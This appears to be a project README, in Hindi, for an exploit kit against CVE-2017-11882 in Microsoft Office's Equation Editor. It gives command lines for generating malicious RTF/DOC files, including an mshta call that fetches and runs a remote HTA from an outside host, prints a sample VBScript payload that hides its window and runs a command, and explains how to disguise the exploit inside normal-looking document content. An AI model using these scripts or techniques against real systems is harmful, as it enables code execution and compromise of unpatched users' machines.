lisinan988/cve-2017-11882-expCVE-2017-11882 (Microsoft Office Equation Editor) के लिए शोषण, जिसमें दुर्भावनापूर्ण RTF/DOC फ़ाइलें उत्पन्न करने और mshta के माध्यम से मनमाने आदेश या शेलकोड निष्पादित करने के लिए पायथन स्क्रिप्ट शामिल हैं।
43b मूल स्क्रिप्ट https://github.com/embedi/CVE-2017-11882 से है
109b मूल स्क्रिप्ट https://github.com/unamer/CVE-2017-11882/ से है (वाह, अब unamer का कोड शेलकोड निष्पादित कर सकता है~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
शोध: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
पैच विश्लेषण: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC शोषण: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
mshta का उपयोग करें
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
43b कमांड की लंबाई 43 बाइट्स से अधिक नहीं हो सकती, 109b कमांड की लंबाई 109 बाइट्स से अधिक नहीं हो सकती
example फ़ोल्डर में एक .rtf फ़ाइल है जो CVE-2017-11882 भेद्यता का शोषण करती है और सिस्टम में कैलकुलेटर चलाती है।
वास्तव में, कस्टम सामग्री के तरीके भी अन्य गुरुओं से सीखे गए थे, और बहुत पहले ही एक स्क्रिप्ट लिख ली गई थी। मूल रूप से इसे सार्वजनिक करने का इरादा नहीं था, लेकिन जब देखा कि समूह के अंदर किसी ने इसे पहले ही पोस्ट कर दिया है, तो कोई विकल्प नहीं था, इसे सार्वजनिक करना पड़ा। वास्तव में तरीका बहुत सरल है: बस एक टेक्स्ट फ़ाइल में सामान्य दस्तावेज़ rtf खोलें, {*\datastore से पहले की सभी सामग्री को कॉपी करें, और {\object\objautlink\objupdate से पहले की सामग्री को बदलें। इसलिए इसे स्क्रिप्ट में लिखना बहुत सरल है।
कस्टम सामग्री जोड़ने का उपयोग तरीका, कोई भी स्क्रिप्ट चुनें:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
कस्टम सामग्री input.rtf में है।
unamer के नवीनतम 605-बाइट शोषण स्क्रिप्ट के बारे में अपडेट नहीं किया गया है, यदि रुचि हो तो स्वयं संशोधित करें।